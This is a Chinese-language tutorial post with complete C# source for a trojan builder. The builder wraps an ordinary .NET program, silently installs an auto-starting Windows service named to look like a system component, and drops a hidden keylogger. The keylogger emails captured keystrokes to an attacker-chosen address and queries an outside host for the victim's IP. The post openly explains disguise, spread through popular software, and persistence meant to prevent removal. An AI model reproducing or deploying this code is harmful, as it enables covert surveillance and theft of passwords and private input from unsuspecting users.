1、首先解决开机启动木马。通过建立开机启动服务达到目的;
2、伪装问题。通过c#反射性能,将正常的.net的exe文件添加监控盗传播取等其他功能,执行正常程序同时,后台悄悄释放windows服务,通过服务释放调取木马exe;
3、传播问题。可以包装一个.net做的,使用比较广的软件,因为通过反射可在exe内执行其他exe文件(相当于1个exe里面可以嵌套多个exe并执行),至于执行什么功能想到了就可以做
4、在执行本例子前,先随意编写一个.Net的exe文件,在“被包装exe文件名”指向该文件,其中“监控执行检测间隔(秒):”设置大一些,因为监控程序随着服务开机启动,需windows启动成功后方可正常运行。“建立的服务名”、“服务文件路径和名称”、“监控文件路径和名称”为防止用户删除,放置在windows里面的一些文件夹内部,名字起得系统一些,比如“UpdataServer”等等,就是使用户不知道他是干嘛的,不会删除的那种。本例子生成的exe文件,除了执行你编写的.Net的exe文件外,监控你设定的多个进程,记录键盘,并按照你设定的时间定时发送键盘记录到你设定的邮箱。程序里执行的监控代码和安装服务代码为字符串形式,根据你填写的条件,并自动编译为临时文件,并生成包装后的C#代码,自动编译后输出exe文件。执行该exe文件,看到的为你编写的.Net的exe文件效果,后台建立了开机启动的一个服务,并释放了一个监控exe文件,通过服务执行,并每次开机就执行服务来开启监控。
5、悄悄建立服务、释放exe、管理员模式运行等等,自己代码里面看
如需对监控进行加固,变为用户不可删除,可以修改代码字符串,加入建立多个windows服务,并在监控程序内检测windows服务是否存在,并释放执行windows服务,在服务字符串代码内释放多个exe监控,形成多服务、多exe的相互检测、相互释放,这样用户除非重做系统,否则不能删除该监控,该功能只提供截图,不提供代码。
提供代码的只是建立单一服务、单一监控的,可以删除掉的代码。
using System; using System.CodeDom.Compiler; using System.IO; using System.Windows.Forms; namespace Trojan_2 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } public byte[] ReadImageFile(String img) { FileInfo fileinfo = new FileInfo(img); byte[] buf = new byte[fileinfo.Length]; FileStream fs = new FileStream(img, FileMode.Open, FileAccess.Read); fs.Read(buf, 0, buf.Length); fs.Close(); GC.ReRegisterForFinalize(fileinfo); GC.ReRegisterForFinalize(fs); return buf; } private void button_Pack_Click(object sender, EventArgs e) { Button pL = (Button)sender; pL.Enabled = false; if (MailAddr.Text != "") { Code_Source.MailSetup += @"model.SendEmail =""" + MailAddr.Text + "\";"; } else { MessageBox.Show("发送邮件地址 必须输入!"); return; } if (MailPasword.Text != "") { Code_Source.MailSetup += @" model.SendPwd =""" + MailPasword.Text + "\";"; } else { MessageBox.Show("发送邮件密码 必须输入!"); return; } if (MailSmtp.Text != "") { Code_Source.MailSetup += @" model.SendSetSmtp =""" + MailSmtp.Text + "\";"; } else { MessageBox.Show("邮件SMTP 必须输入!"); return; } if (MailAccept.Text != "") { Code_Source.MailSetup += @" model.ConsigneeAddress =""" + MailAccept.Text + "\";"; } else { MessageBox.Show("接收邮件地址 必须输入!"); return; } if (MailSpear.Text != "") { try { int.Parse(MailSpear.Text); Code_Source.SendSpear = MailSpear.Text; } catch { Code_Source.SendSpear = "100"; } } else { MessageBox.Show("邮件发送时间间隔 必须输入!"); return; } if (ProcessName.Text != "") { Code_Source.split_Process = ProcessName.Text.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); Code_Source.processName = "string [] processName = new string[] {"; for (int i = 0; i < Code_Source.split_Process.Length; i++) { Code_Source.processName += "\"" + Code_Source.split_Process[i] + "\""; if (i < Code_Source.split_Process.Length - 1) Code_Source.processName += ","; } Code_Source.processName += "};"; Code_Source.processName += @" for (int i=0;i<" + Code_Source.split_Process.Length + @";i++) { Ps.Add(new list_process(processName[i])); }"; } else { MessageBox.Show("监控的进程名称 必须输入!"); return; } // 生成键盘监控exe文件 CodeDomProvider codeProvider = CodeDomProvider.CreateProvider("CSharp"); string Output = "MonitoringTmp.~exe"; CompilerParameters parameters = new CompilerParameters(); parameters.ReferencedAssemblies.Add("System.dll"); parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll"); parameters.ReferencedAssemblies.Add("System.ServiceProcess.dll"); parameters.ReferencedAssemblies.Add("System.Drawing.dll"); parameters.ReferencedAssemblies.Add("System.Configuration.dll"); parameters.ReferencedAssemblies.Add("System.Configuration.Install.dll"); parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll"); parameters.ReferencedAssemblies.Add("System.Security.Principal.dll"); parameters.ReferencedAssemblies.Add("System.Threading.dll"); parameters.GenerateExecutable = true; parameters.CompilerOptions = "-t:winexe"; parameters.OutputAssembly = Output; CompilerResults results = codeProvider.CompileAssemblyFromSource( parameters, Code_Source.Creat_RunApp(Code_Source.processName, Code_Source.MailSetup, Code_Source.SendSpear) ); // 生成安装服务exe文件 byte[] BinBytes = null; BinBytes = ReadImageFile(Output); string str = Convert.ToBase64String(BinBytes); CodeDomProvider codeProvider_Server = CodeDomProvider.CreateProvider("CSharp"); string OutServer = "ServerTmp.~exe"; CompilerParameters parameters_Server = new CompilerParameters(); parameters_Server.ReferencedAssemblies.Add("System.dll"); parameters_Server.ReferencedAssemblies.Add("System.Windows.Forms.dll"); parameters_Server.ReferencedAssemblies.Add("System.ServiceProcess.dll"); parameters_Server.ReferencedAssemblies.Add("System.Drawing.dll"); parameters_Server.ReferencedAssemblies.Add("System.Configuration.dll"); parameters_Server.ReferencedAssemblies.Add("System.Configuration.Install.dll"); parameters_Server.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll"); parameters_Server.ReferencedAssemblies.Add("System.Security.Principal.dll"); parameters_Server.ReferencedAssemblies.Add("System.Threading.dll"); parameters_Server.GenerateExecutable = true; parameters_Server.CompilerOptions = "-t:winexe"; parameters_Server.OutputAssembly = OutServer; CompilerResults results_Server = codeProvider_Server.CompileAssemblyFromSource( parameters_Server, Code_Source.Creat_Server(ServerName.Text, str, ExePath.Text, ServerSpear.Text) ); // 读取生成和包装的exe文件 byte[] BinServer = null; BinServer = ReadImageFile(OutServer); string server_str = Convert.ToBase64String(BinServer); byte[] BinPack = null; BinPack = ReadImageFile(Packaging.Text); string pack_str = Convert.ToBase64String(BinPack); CodeDomProvider codeProvider_Pack = CodeDomProvider.CreateProvider("CSharp"); string OutPack = OutPackExe.Text; CompilerParameters parameters_Pack = new CompilerParameters(); parameters_Pack.ReferencedAssemblies.Add("System.dll"); parameters_Pack.ReferencedAssemblies.Add("System.Reflection.dll"); parameters_Pack.ReferencedAssemblies.Add("System.Windows.Forms.dll"); parameters_Server.ReferencedAssemblies.Add("System.Drawing.dll"); parameters_Pack.GenerateExecutable = true; parameters_Pack.CompilerOptions = "-t:winexe"; parameters_Pack.OutputAssembly = OutPack; CompilerResults results_Pack = codeProvider_Pack.CompileAssemblyFromSource( parameters_Pack, Code_Source.Creat_Packing(server_str, pack_str, ServerPath.Text.Replace("\\", "\\\\")) ); pL.Enabled = true; MessageBox.Show("编译完成!"); } } }
public class Code_Source { public static string[] split_ServerName, split_ServerFile, split_ExeFile, split_Monit, split_Process; public static string MailSetup = ""; public static string SendSpear = ""; public static string processName = ""; /// <summary> /// 监控代码 /// </summary> public static string Creat_RunApp(string _process, string _email, string _sendspear) { string Run_APP = @" using System; using System.Collections.Generic; using System.Diagnostics; using System.Net; using System.Net.Mail; using System.Reflection; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.ServiceProcess; using System.Security.Principal; namespace m_Test1 { static class Program { [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new HideOnStartupApplicationContext(new Form1())); } internal class HideOnStartupApplicationContext : ApplicationContext { private Form mainFormInternal; public HideOnStartupApplicationContext(Form mainForm) { this.mainFormInternal = mainForm; } } public class EmailParameterSet { public string ConsigneeAddress { get; set; } public string ConsigneeName { get; set; } public string ConsigneeHand { get; set; } public string ConsigneeTheme { get; set; } public string SendSetSmtp { get; set; } public string SendEmail { get; set; } public string SendPwd { get; set; } public string SendContent { get; set; } } public static bool MailSend(EmailParameterSet EPSModel) { try { SmtpClient sendSmtpClient = new SmtpClient(EPSModel.SendSetSmtp); MailAddress sendMailAddress = new MailAddress(EPSModel.SendEmail, EPSModel.ConsigneeHand, Encoding.UTF8); MailAddress consigneeMailAddress = new MailAddress(EPSModel.ConsigneeAddress, EPSModel.ConsigneeName, Encoding.UTF8); MailMessage mailMessage = new MailMessage(sendMailAddress, consigneeMailAddress); mailMessage.Subject = EPSModel.ConsigneeTheme; mailMessage.BodyEncoding = Encoding.UTF8; mailMessage.SubjectEncoding = Encoding.UTF8; mailMessage.Body = EPSModel.SendContent; mailMessage.IsBodyHtml = false; sendSmtpClient.DeliveryMethod = SmtpDeliveryMethod.Network; sendSmtpClient.EnableSsl = false; sendSmtpClient.UseDefaultCredentials = false; NetworkCredential myCredential = new NetworkCredential(EPSModel.SendEmail, EPSModel.SendPwd); sendSmtpClient.Credentials = myCredential; sendSmtpClient.Send(mailMessage); return true; } catch (Exception) { return false; } } public class list_process { public Process[] processes; public string pName; public list_process (string _name) { pName = _name; } } public static List<list_process> Ps = new List<list_process>(); public static DateTime dt; public static string _record = """"; public static TimeSpan span; public static EmailParameterSet model; public partial class Form1 : Form { public Form1() { " + _process + @" dt = DateTime.Now; model = new EmailParameterSet(); Task send_Task = new Task(Send_Record); send_Task.Start(); KeyRecord kh = new KeyRecord(); } } public static void Send_Record () { while (true) { span = DateTime.Now - dt; if ((int)Math.Floor(span.TotalSeconds) > " + _sendspear + @") { if (_record != """") { " + _email + @" model.ConsigneeHand = GetExtenalIpAddress(); model.SendContent = _record; MailSend(model); } dt = DateTime.Now; _record = """"; } } } public static string GetExtenalIpAddress() { String url = ""http://hijoyusers.joymeng.com:8100/test/getNameByOtherIp""; string IP = ""No_ip""; try { WebClient client = new WebClient(); client.Encoding = Encoding.Default; string str = client.DownloadString(url); client.Dispose(); if (!str.Equals("""")) IP = str; } catch (Exception) { } return IP; } public class KeyRecord { private const int WM_KEYDOWN = 0x100; private const int WM_KEYUP = 0x101; private const int WM_SYSKEYDOWN = 0x104; private const int WM_SYSKEYUP = 0x105; public event KeyEventHandler OnKeyDownEvent; public event KeyEventHandler OnKeyUpEvent; public event KeyPressEventHandler OnKeyPressEvent; static int hKeyboardHook = 0; public const int WH_KEYBOARD_LL = 13; HookProc KeyboardHookProcedure; [StructLayout(LayoutKind.Sequential)] public class KeyboardHookStruct { public int vkCode; public int scanCode; public int flags; public int time; public int dwExtraInfo; } [DllImport(""user32.dll"", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId); [DllImport(""user32.dll"", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern bool UnhookWindowsHookEx(int idHook); [DllImport(""user32.dll"", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam); [DllImport(""user32"")] public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState); [DllImport(""user32"")] public static extern int GetKeyboardState(byte[] pbKeyState); public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam); public KeyRecord() { this.OnKeyPressEvent += new KeyPressEventHandler(KeyBordHook_OnKeyPressEvent); Start(); } public void Start() { if (hKeyboardHook == 0) { KeyboardHookProcedure = new HookProc(KeyboardHookProc); Module m = Assembly.GetExecutingAssembly().GetModules()[0]; IntPtr itp = Marshal.GetHINSTANCE(m); hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProcedure, itp, 0); if (hKeyboardHook == 0) { Stop(); } } } public void Stop() { bool retKeyboard = true; if (hKeyboardHook != 0) { retKeyboard = UnhookWindowsHookEx(hKeyboardHook); hKeyboardHook = 0; } } private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam) { if ((nCode >= 0) && (OnKeyDownEvent != null || OnKeyUpEvent != null || OnKeyPressEvent != null)) { KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct)); if (OnKeyDownEvent != null && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) { Keys keyData = (Keys)MyKeyboardHookStruct.vkCode; KeyEventArgs e = new KeyEventArgs(keyData); OnKeyDownEvent(this, e); } if (OnKeyPressEvent != null && wParam == WM_KEYDOWN) { byte[] keyState = new byte[256]; GetKeyboardState(keyState); byte[] inBuffer = new byte[2]; if (ToAscii(MyKeyboardHookStruct.vkCode, MyKeyboardHookStruct.scanCode, keyState, inBuffer, MyKeyboardHookStruct.flags) == 1) { KeyPressEventArgs e = new KeyPressEventArgs((char)inBuffer[0]); OnKeyPressEvent(this, e); } } if (OnKeyUpEvent != null && (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)) { Keys keyData = (Keys)MyKeyboardHookStruct.vkCode; KeyEventArgs e = new KeyEventArgs(keyData); OnKeyUpEvent(this, e); } } return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam); } private void KeyBordHook_OnKeyPressEvent(object sender, KeyPressEventArgs e) { for (int i = 0; i < Ps.Count; i++) { Ps[i].processes = Process.GetProcessesByName(Ps[i].pName); if (Ps[i].processes.Length > 0) { _record += e.KeyChar.ToString(); } } } } } } "; return Run_APP; } public static string Creat_Server(string _serverName,string _exefile, string _exepath, string _checkspear) { string Run_Server = @" using System; using System.Collections; using System.Configuration.Install; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.ServiceProcess; using System.Security.Principal; using System.Threading; namespace ConsoleWithWindowsService { class Program { public class Interop { public static void CreateProcess(string app, string path) { bool result; IntPtr hToken = WindowsIdentity.GetCurrent().Token; IntPtr hDupedToken = IntPtr.Zero; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.Length = Marshal.SizeOf(sa); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); int dwSessionID = WTSGetActiveConsoleSessionId(); result = WTSQueryUserToken(dwSessionID, out hToken); result = DuplicateTokenEx( hToken, GENERIC_ALL_ACCESS, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, (int)TOKEN_TYPE.TokenPrimary, ref hDupedToken ); IntPtr lpEnvironment = IntPtr.Zero; result = CreateEnvironmentBlock(out lpEnvironment, hDupedToken, false); result = CreateProcessAsUser( hDupedToken, app, String.Empty, ref sa, ref sa, false, 0, IntPtr.Zero, null, ref si, ref pi); if (pi.hProcess != IntPtr.Zero) CloseHandle(pi.hProcess); if (pi.hThread != IntPtr.Zero) CloseHandle(pi.hThread); if (hDupedToken != IntPtr.Zero) CloseHandle(hDupedToken); } [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public Int32 dwProcessID; public Int32 dwThreadID; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public Int32 Length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } public enum SECURITY_IMPERSONATION_LEVEL { SecurityAnonymous, SecurityIdentification, SecurityImpersonation, SecurityDelegation } public enum TOKEN_TYPE { TokenPrimary = 1, TokenImpersonation } public const int GENERIC_ALL_ACCESS = 0x10000000; [DllImport(""kernel32.dll"", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern bool CloseHandle(IntPtr handle); [DllImport(""advapi32.dll"", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] public static extern bool CreateProcessAsUser( IntPtr hToken, string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation); [DllImport(""advapi32.dll"", SetLastError = true)] public static extern bool DuplicateTokenEx( IntPtr hExistingToken, Int32 dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, Int32 ImpersonationLevel, Int32 dwTokenType, ref IntPtr phNewToken); [DllImport(""wtsapi32.dll"", SetLastError = true)] public static extern bool WTSQueryUserToken( Int32 sessionId, out IntPtr Token); [DllImport(""userenv.dll"", SetLastError = true)] static extern bool CreateEnvironmentBlock( out IntPtr lpEnvironment, IntPtr hToken, bool bInherit); public static IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero; public static void ShowMessageBox(string message, string title) { int resp = 0; WTSSendMessage( WTS_CURRENT_SERVER_HANDLE, WTSGetActiveConsoleSessionId(), title, title.Length, message, message.Length, 0, 0, out resp, false); } [DllImport(""kernel32.dll"", SetLastError = true)] public static extern int WTSGetActiveConsoleSessionId(); [DllImport(""wtsapi32.dll"", SetLastError = true)] public static extern bool WTSSendMessage( IntPtr hServer, int SessionId, String pTitle, int TitleLength, String pMessage, int MessageLength, int Style, int Timeout, out int pResponse, bool bWait); } public class ServiceHelper { public static bool IsServiceExisted(string serviceName) { ServiceController[] services = ServiceController.GetServices(); foreach (ServiceController s in services) { if (s.ServiceName == serviceName) { return true; } } return false; } public static void StartService(string serviceName) { if (IsServiceExisted(serviceName)) { ServiceController service = new ServiceController(serviceName); if (service.Status != ServiceControllerStatus.Running && service.Status != ServiceControllerStatus.StartPending) { service.Start(); for (int i = 0; i < 60; i++) { service.Refresh(); System.Threading.Thread.Sleep(1000); if (service.Status == ServiceControllerStatus.Running) break; } } } } public static ServiceControllerStatus GetServiceStatus(string serviceName) { ServiceController service = new ServiceController(serviceName); return service.Status; } public static void ConfigService(string serviceName, bool install) { TransactedInstaller ti = new TransactedInstaller(); ti.Installers.Add(new ServiceProcessInstaller { Account = ServiceAccount.LocalSystem }); ti.Installers.Add(new ServiceInstaller { DisplayName = serviceName, ServiceName = serviceName, Description = serviceName, StartType = ServiceStartMode.Automatic }); ti.Context = new InstallContext(); ti.Context.Parameters[""assemblypath""] = ""\"""" + Assembly.GetEntryAssembly().Location + ""\"" /service""; if (install) ti.Install(new Hashtable()); else ti.Uninstall(null); } } static void Main(string[] args) { if (args.Length > 0) { try { ServiceBase[] serviceToRun = new ServiceBase[] { new WindowsService() }; ServiceBase.Run(serviceToRun); } catch {} } else { if (ServiceHelper.IsServiceExisted(""" + _serverName + @""")) { ServiceHelper.ConfigService("""+ _serverName + @""", false); } if (!ServiceHelper.IsServiceExisted("""+ _serverName + @""")) { ServiceHelper.ConfigService("""+ _serverName + @""", true); } ServiceHelper.StartService("""+ _serverName + @"""); } } partial class WindowsService : ServiceBase { public static string code = """ + _exefile + @"""; protected override void OnStart(string[] args) { Process.Start(); } public static class Process { public static void Start() { ThreadStart start = new ThreadStart(ThreadAction); Thread th = new Thread(start); th.IsBackground = true; th.Start(); } public static void ThreadAction() { bool atRun = false; DateTime dt = DateTime.Now; TimeSpan span; while (true) { span = DateTime.Now - dt; if ((int)Math.Floor(span.TotalSeconds)>" + _checkspear + @") { atRun = true; } if (atRun) { if (!File.Exists(@""" + _exepath + @""")) { byte[] bt = Convert.FromBase64String(code); try { FileStream fs = new FileStream(@""" + _exepath + @""", FileMode.Create); fs.Write(bt, 0, bt.Length); fs.Close(); Interop.CreateProcess(@"""+ _exepath + @""", @""C:\Windows\System32\""); } catch { } atRun = false; dt = DateTime.Now; } } } } } protected override void OnStop() { } } } } "; return Run_Server; } public static string Creat_Packing(string _server, string _pack,string _serverpath) { string Run_Pack = @" using System; using System.Reflection; using System.IO; using System.Windows.Forms; using System.Diagnostics; namespace Replica_Prg { static class Program { [STAThread] static void Main(string[] Args) { try { System.Security.Principal.WindowsIdentity identity = System.Security.Principal.WindowsIdentity.GetCurrent(); Application.EnableVisualStyles(); System.Security.Principal.WindowsPrincipal principal = new System.Security.Principal.WindowsPrincipal(identity); if (principal.IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator)) { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Test()); } else { System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); startInfo.FileName = System.Windows.Forms.Application.ExecutablePath; startInfo.Arguments = String.Join("" "", Args); startInfo.Verb = ""runas""; System.Diagnostics.Process.Start(startInfo); System.Windows.Forms.Application.Exit(); } } catch { } string str_Normal = """ + _pack + @"""; byte[] ns = Convert.FromBase64String(str_Normal); Assembly asm_n = Assembly.Load(ns); MethodInfo info_n = asm_n.EntryPoint; ParameterInfo[] parameters_n = info_n.GetParameters(); info_n.Invoke(null, null); } public partial class Test : Form { public Test() { string str_Rep = """ + _server + @"""; byte[] bs = Convert.FromBase64String(str_Rep); FileStream fs = new FileStream(@""" + _serverpath + @""", FileMode.Create); fs.Write(bs, 0, bs.Length); fs.Close(); Process pr = new Process(); pr.StartInfo.FileName = """+ _serverpath + @"""; pr.Start(); Close(); } } } } "; return Run_Pack; } }